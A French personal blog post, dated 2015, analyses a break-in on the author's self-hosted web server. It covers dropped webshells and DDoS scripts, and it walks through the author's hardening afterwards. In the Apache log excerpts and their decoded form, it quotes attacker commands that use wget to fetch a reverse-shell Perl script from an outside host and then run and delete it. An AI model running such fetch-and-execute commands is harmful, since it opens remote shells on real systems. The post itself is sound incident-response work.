Jonathan.Michalon.eu

$HOME de Jonathan

29 nov. 2015

Activité suspecte sur mon serveur

L'autre jour, on me signale que mon serveur autohébergé ventile à fond et qu'une vingtaine de processus bizarres « fuckyou » tournent…

Avant de s'emballer et de tout stopper, il vaut mieux un peu prospecter tant que le problème se manifeste. J'ai donc tenté d'analyser la situation.

27530 www-data  20   0   65588  14992   2960 S  33,9  0,4  94:21.25 fuckyou
 7813 www-data  20   0   81840  21996   2680 R  28,3  0,6  18:43.69 fuckyou
 9100 www-data  20   0   65588  16836   3056 R  28,3  0,5  18:07.07 fuckyou
18127 www-data  20   0   82184  22252   2680 R  28,3  0,6   0:50.64 fuckyou
20030 www-data  20   0   65588  15496   3056 R  28,3  0,4 100:20.62 fuckyou
28898 www-data  20   0   81840  21996   2680 R  28,3  0,6  44:27.26 fuckyou
30245 www-data  20   0   81856  21496   2588 S  28,3  0,6  42:41.14 fuckyou
  761 www-data  20   0   65588  15684   3136 S  22,6  0,4  33:19.00 fuckyou
 3579 www-data  20   0   81972  22644   2944 R  22,6  0,6  26:36.35 fuckyou
 6680 www-data  20   0   81856  21496   2588 R  22,6  0,6  19:23.37 fuckyou
16931 www-data  20   0   81972  22644   2944 R  17,0  0,6   1:08.35 fuckyou

Ne sachant pas d'où venait ce processus, et n'en trouvant évidemment pas s'appellant « fuckyou » dans les dossiers web, j'ai été voir dans /proc/<pid> :

lrwxrwxrwx 1 www-data www-data 0 nov.  25 11:07 cwd -> /tmp
lrwxrwxrwx 1 www-data www-data 0 nov.  25 11:04 exe -> /usr/bin/perl

OK, du perl. Voyons si on en trouve… (gros coup de rgrep sur /var/www)… oui ! D'ailleurs tout le dossier est "amusant" :

$ ll gitlist/cache/
-rw-r--r--  1 www-data www-data 184021 juil.  9  2014 alo.php
drwxr-xr-x  5 www-data www-data   4096 oct.  30  2014 archives
-rw-r--r--  1 www-data www-data  99552 déc.  13  2013 b374k-2.8.php
-rwxr-xr-x  1 www-data www-data   1446 juil.  1  2014 b374k_rs.py
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.php
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.txt
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.txt.1
-rw-r--r--  1 www-data www-data 165779 avril 15  2013 c99.txt.2
-rw-r--r--  1 www-data www-data   1168 juil.  1  2014 hitit.pl
drwxr-xr-x  2 www-data www-data   4096 juil.  1  2014 hit.pl
-rw-r--r--  1 www-data www-data   1848 juil.  1  2014 hity.py
-rw-r--r--  1 www-data www-data   2585 juil.  9  2014 palse.php
drwxr-xr-x  2 www-data www-data   4096 juil.  1  2014 pyddos.py
-rw-r--r--  1 www-data www-data   1848 juil.  1  2014 SersZQbI.txt
drwxr-xr-x 18 www-data www-data   4096 juil.  3  2014 views
-rw-r--r--  1 www-data www-data     26 juil.  9  2014 x.php

Seulement, problème : rien dans les logs du vhost servant le gitlist. Je l'avais désactivé il y a un moment, car il ne servait plus vraiment, n'était jamais mis à jour etc.

En analysant les fichiers (des utilitaires de DDOS principalement, mais il y a aussi un petit script de prise en main à distance), j'ai remarqué qu'ils aimaient bien cacher le code dans du base64. C'est pratique, le base64, car c'est un codage supporté un peu partout, et qui évite justement que le code soit trop facilement lisible. Par contre un programme obfusqué ainsi est très facile à exécuter, il suffit de faire quelque chose comme eval(base64_decode()). Donc j'ai refait une recherche, sur base64_decode ce coup-ci.

La recherche m'a mené tout droit au webdav d'ARN, le dépôt de documents de l'asso :

-rw-r--r-- 1 www-data www-data  169015 nov.  27  2014 asd.exe
-rw-r--r-- 1 www-data www-data  188728 nov.  23 05:55 log.php
drwxr-xr-x 4 www-data www-data    4096 nov.  27  2014 Panel
-rw-r--r-- 1 www-data www-data 2297381 nov.  27  2014 Panel.tar.gz

Ce sont une sorte de shell en PHP, permettant de lancer des commandes, ou diverses actions préconfigurées (comme un reverse shell, qui se connecte de lui-même à l'attaquant ; un exemple (obfusqué) est visible dans log.php). Et là au moins il y a des traces dans les logs du serveur web ! Entre autres :

[25/Nov/2015:07:58:33 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Fwww%2Fdav%2Farn%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Flog.txt%3B+mv+log.txt+log.php&cmd_txt=1&submit=Execute HTTP/1.1" 200

[25/Nov/2015:08:40:46 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:40:53 +0100] "GET /asd.php?act=ls&d=%2Fvar%2Ftmp&sort=0a HTTP/1.1" 200
[25/Nov/2015:08:41:09 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=wget+blackops.unixssh.com%2FMy_Log%2Frev.pl%3B+perl+rev.pl%3B+rm+-rf+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200

[25/Nov/2015:08:42:38 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+ref.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200
[25/Nov/2015:08:42:47 +0100] "GET /asd.php?act=cmd&d=%2Fvar%2Ftmp%2F&cmd=rm+-rv+rev.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200

Correspondant à :

wget blackops.unixssh.com/My_Log/log.txt; mv log.txt log.php

wget blackops.unixssh.com/My_Log/rev.pl perl rev.pl; rm -rf rev.pl
ls /var/tmp
wget blackops.unixssh.com/My_Log/rev.pl; perl rev.pl; rm -rf rev.pl

rm -rv ref.pl
rm -rv rev.pl

On voit ici pas mal de typos (3 je pense) ; il devait être pressé, peut-être plein de sessions en parallèle à gérer ?

Je n'ai pas réussi à trouver dans les logs quand le fichier asd.php est apparu ; il était déjà là il y a un an (le plus vieux que j'ai en logs, ils sont effacés après). Par contre, le serveur renvoyait un 403 jusqu'à samedi dernier, jour où j'ai fait ma migration à Debian Jessie. J'ai dû activer PHP sur ce vhost alors qu'avant il devait être désactivé (je suis passé de FCGId à FPM pour la gestion PHP dans la foulée).

Ce que j'ai fait

J'aurais peut-être dû réinstaller tout, mais c'est un tantinet… fastidieux. En pratique : n'est concerné qu'un LXC web, très peu de chances qu'il y ait eu des accès root, problème plus ou moins localisé, scripts DDOS en vue…

  • J'ai changé le mot de passe du webdav, qui était vraiment bien mauvais (court, dans le dictionnaire, c'était un test à la base !).

  • Avec le passage à FPM, on peut configurer des "pool" différents de processus PHP. J'ai donc créé trois pool, pour éviter encore plus les débordements : un pour les sites sous Drupal, un pour les Wordpress et un pour le reste. Il y a donc trois comptes utilisateurs différents (uid UNIX), et j'ai ajusté les permissions en conséquence (un wordpress troué ne pourra donc rien voir d'autre que les wordpress).

  • Au lieu d'activer PHP globalement, je l'active maintenant uniquement dans les vhost qui en ont besoin. J'ai créé une petite macro apache2 pour faciliter le choix du pool :

    <Macro GetPHP ${pool}>
    <FilesMatch "\.php$">
      SetHandler "proxy:unix:///var/run/php5-fpm-${pool}.sock|fcgi://"
    </FilesMatch>
    </Macro>
    

    ce qui donne à l'usage, dans un vhost :

    Use GetPHP nom-pool
    

Bonus

Voici un tar de tout le matériel que j'ai récupéré, si vous voulez analyser le problème avant qu'il ne vous arrive :

  • Les fichiers anormaux du cache du gitlist ;

  • Ce que j'ai retrouvé dans le /tmp (un des scripts est prévu pour chercher une archive ZIP, apparemment pour utiliser une faille d'un plugin Wordpress, revslider).

    Le ZIP a été téléchargé 3 fois, car le script utilise 3 méthodes au cas où (wget, curl et un autre). J'en mets un seul dans le tar.

  • Les parties intéressantes du log apache, réduites aux infos importantes.

  • Le fichier rev.pl mentionné dans les commandes plus haut, que j'ai téléchargé moi-même par la suite.

Par ici !

Blue Penguin Theme · Powered by Pelican · Atom Feed · Rss Feed

Copyright © 2011-2015 Jonathan Michalon. Vous pouvez réutiliser tout contenu diffusé, sauf mention spécifique.